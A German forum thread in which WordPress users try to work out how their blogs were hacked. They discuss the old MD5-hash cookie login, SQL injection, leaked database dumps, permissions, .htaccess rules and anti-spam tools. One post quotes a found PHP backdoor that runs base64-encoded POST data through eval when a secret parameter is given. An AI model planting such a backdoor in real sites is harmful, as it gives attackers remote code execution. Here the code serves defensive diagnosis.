Gemeinsamkeiten zwischen geknackten WP-Blogs

Zitat von berlindave

Also bei mir, was das Passwort betrifft, jedenfalls nicht. Ich schließe mich daher eher der Vermutung an, dass das Cookie ausspioniert wurde. Wie genau, ist jedoch noch unklar.

Cookie ausspionieren ist eine relativ leichte Sache. In diesem Ticket auf trac.wordpress.org ist erleutert, wie einfach ein Angreifer auf älteren WP-Installationen "Sesam öffne Dich" bekommt. Anscheinend braucht er dazu nicht das Passwort zu kennen, sondern muss nur den MD5-Hash des gespeicherten Passworts kennen - und der steht in der Datenbank. Wenn man nun eine SQL-injection Anfälligkeit durch eine ältere WP Version oder ein Plugin hat, genügt ein Read-Only Zugriff eines Angreifers um an die Zugänge zu gelangen. Ebenfalls beliebtes Türchen sind übers Web erreichbare Dumps der Datenbank (zb im wp-content/backup Verzeichnis).
Da die alte Cookie Authentifizierung nach md5(md5(passwort)); schaut, ist es ein Leichtes, die Tür aufzumachen - unahängig davon, wie komplex das Passwort gewählt ist, da nicht das Passwort, sondern nur der MD5-Hash des Passwortes gebraucht wird.
Betrifft wohl alle Versionen bis 2.3.1.

Zitat von Alphawolf

Das gibt's doch nicht. :?

Hi,
chmod die datei auf 640. Das wp-includes verzeichnis selbst hat welche rechte?
(bei mir hat es 710, die datei 740, das scheinen die umask-default werte meines providers zu sein)

Zitat von Alphawolf

Ist dies bei den Betroffenen hier ebenso der Fall?

schau mal hier: WordPress › Support » 2.3.1 vulnerability
das scheint das gleiche problem zu sein.

Eventuell hilft ja der Beitrag: Wordpress Doorway Spam Attacks | CyberInsecure.com

Zitat von Alphawolf

Die Datei class-mail.php, die es in WP nicht gibt, habe ich geleert, und die Rechte auf 000 gesetzt, sodass man sie zumindest nicht mehr erstellen bzw. bearbeiten kann.

hi, hast du noch eine kopie dieser datei?
mich würde interessieren, was darin steht, gerade auch im zusammenhang mit dem post request an die xmlrpc.php,

xmlrpc.php?4e505c7c0a7a677f=4c4bd1b268f0ea2d

den du weiter oben gepostet hattest.

ich habe ein wenig herumgegoogelt, und im zusammenhang damit so etwas gefunden:

if($_GET['476cec30ae48ed13']=="1682480ecf14ff65"){
    eval(base64_decode($_POST['file']));
    exit;
}

... das könnte darauf hinweisen, das irgendwie die xmlrpc.php evtl diese datei als $_POST['file'] untergeschoben bekommt, wegen des evals() gehe ich davon aus, dass der inhalt von $_POST['file'] aber ausführbarer php-code ist...

Sagt mal, in irgendeinem von den oben verlinkten Beiträgen wird empfohlen, die Namen der Cookies zu ändern. Die entsprechenden Stellen befinden sich in der "wp-settings.php", und es mag durchaus sein, dass man mit Kenntnis der Standardnamen Unsinn machen könnte.

Gäbe es Probleme, wenn ich die Namen bspw so ändere:

if ( !defined('USER_COOKIE') )
//  define('USER_COOKIE', 'wordpressuser_' . COOKIEHASH);
    define('USER_COOKIE', 'wpu' . md5(uniqid(rand())) . '_' . COOKIEHASH);

Ob jetzt MD5 sicher ist oder nicht, der Name ist nicht mehr vorhersehbar. Man kann auch den Präfix "wpu" weglassen. Ein kleiner lokaler Test hat keine Probleme ergeben. Aber manchmal gibt es ja Stolperfallen, an die man so nicht denkt.

Das müsste man bei PASS_COOKIE und AUTH_COOKIE auch machen.
Ideen? Kritik?

Habe gerade selbst etwas gefunden. Wenn man alle 3 Cookie so benennt, kann man sich nicht mehr anmelden. Also, das muss ich noch mal genauer prüfen. ;)

Hallo zusammen

Könnte man nicht den Externen zugriff aus die Verzeichnisse wie zb. wp-includes mit einer .htaccess Datei Verwehren so das nur der Server (localhost) drauf zugreifen kann.

so müsste dann die .htaccess Aussehen

order deny,allow
deny from all
allow from localhost 127.0.0.1

mfg
DerEine

Vermutlich weiß man eben noch nicht, ob der Fehler in WP liegt, oder ob das von einem Plugin verursacht wird. In der letzten Revision (7599, 2.6bleeding) wurde bspw die "xmlrpc.php" ausgetauscht.

Man könnte das Problem eingrenzen, wenn einfach alle mal die ganzen Plugins deaktivieren und die Kommentarfunktion vorübergehend auf "moderieren" stellen. Du brauchst kein Antispam-Plugin, wenn du die Kommentare sowieso freischalten musst. Man kann vorübergehend auch sicher auf den ganzen Schnickschnack (Lightbox, Thickbox, NGG, usw.) verzichten. Und ob man bei Google weit vorn gelistet ist oder nicht, sollte eigentlich hinter dem größeren Interesse der Sicherheit zurückstehen. Meine Meinung!

Wird dann die Lücke wieder ausgenutzt, und wird dann wieder dieser Ordner "wp-content/1" angelegt, dann kann man das Problem auf WP eingrenzen.
Vorausgesetzt, man hat den Blog vorher gesäubert, die Datei- und Verzeichnisrechte passend gesetzt, usw.

Askimet zu deaktivieren ist keine Lösung ( Du spammer?) Askimet blockiert bei mir um die 1000 spams pro Tag, die alle manuell zu moderieren wäre Wahnsinn.:roll:

Zitat von Lou_Cipher

Askimet zu deaktivieren ist keine Lösung ( Du spammer?)

Auf die Unterstellung in Klammern fällt mir eigentlich nur ein Schimpfwort ein. :evil:Ich habe Akismet bei mir deaktiviert. Vllt ist mein Blog nicht interessant genug, weil ich von Spam verschont bleibe. Und das ist auch OK, denn was bringt es mir, bei Google auf den vorderen Plätzen zu rangieren? Richtig. Nix!

Außerdem mag ich Akismet nicht, weil der Kommentar von interessierten Leuten mit einem mir unbekannten Server abgeglichen wird. Was sonst noch passiert (wer liest es ggf? wird es gespeichert?) entzieht sich komplett meiner Kontrolle. Es gibt bessere Tools, um sich vor Spam zu schützen.

Zitat von msi

weil der Kommentar von interessierten Leuten mit einem mir unbekannten Server abgeglichen wird.

Sorry und nicht schimpfen, kannst mir nebenbei andere tools empehlen.
Ich vermute askimet markiert auch viele meine coments unter spam aber so viele zu kontrolieren mach mich verrückt. was ist das was du mir abgeglcihen meinst?

gruss:-D

Zitat von Lou_Cipher

was ist das was du mir abgeglcihen meinst?

Der Kommentar, den dir jemand schreibt, wird an einen Server gesendet und dort auf typische Merkmale von Spam hin untersucht. Würde Akismet das lokal machen, brächte es eine enorm große Erkennungsdatei (ähnlich Virenscannern) mit. Ich möchte den Entwicklern von Akismet nichts unterstellen, aber ein schlechtes Gefühl habe ich dennoch. Und wir erinnern uns doch, wie groß das Geschrei bei WP 2.3.3 war. Das gleiche Thema: Blog- und Pluginupdates sind eine gute Sache, aber wozu muss die Adresse übertragen werden?

bzgl Spam gab es mal einen interessanten Vorschlag. Du kennst Captchas und diese "Rechne X und Y aus"-Eingabeboxen? Es ist bekannt, dass Spambots auf alle möglichen Checkboxen klicken, die sie in einem Formular finden. Nimm so eine Checkbox und mache sie via "display:none;" unsichtbar, so dass sie der normale Benutzer gar nicht sehen und anklicken kann. Führe den Gedanken für Bots fort. :mrgreen:

Ich muss noch mal gucken, wo das Prinzip beschrieben war. Ich fand das grandios.

ich habe was von SK2 gehört habe scheint nicht mehr unter wp 2.5 zu laufen:-?

Ja, das mit der Checkbox funktioniert bei mir ganz gut. Ich habe aber bisher die Erfahrung gemacht, das Spambots die eher nicht "anklicken".
Für den normalen Nutzer wird die Checkbox per Javascript angehakt und unsichtbar gemacht, so bemerkt er die nicht mal. Falls er kein Javascript aktiv hat, sieht er sie und kann sie selbst anklicken.
Nachtrag: Mit einer Kombination aus beiden Varianten könnte man sogar beide Botarten "erschlagen", die die alles "anklicken" und die die nichts "anklicken". Und das ohne den normalen Anwender zu belästigen. Ich werde das bei mir mal einbauen...

Gruß
Ingo

Zitat von Lou_Cipher

ich habe was von SK2 gehört habe scheint nicht mehr unter wp 2.5 zu laufen:-?

SK2 läuft bei mir mit WP2.5 ohne Probleme.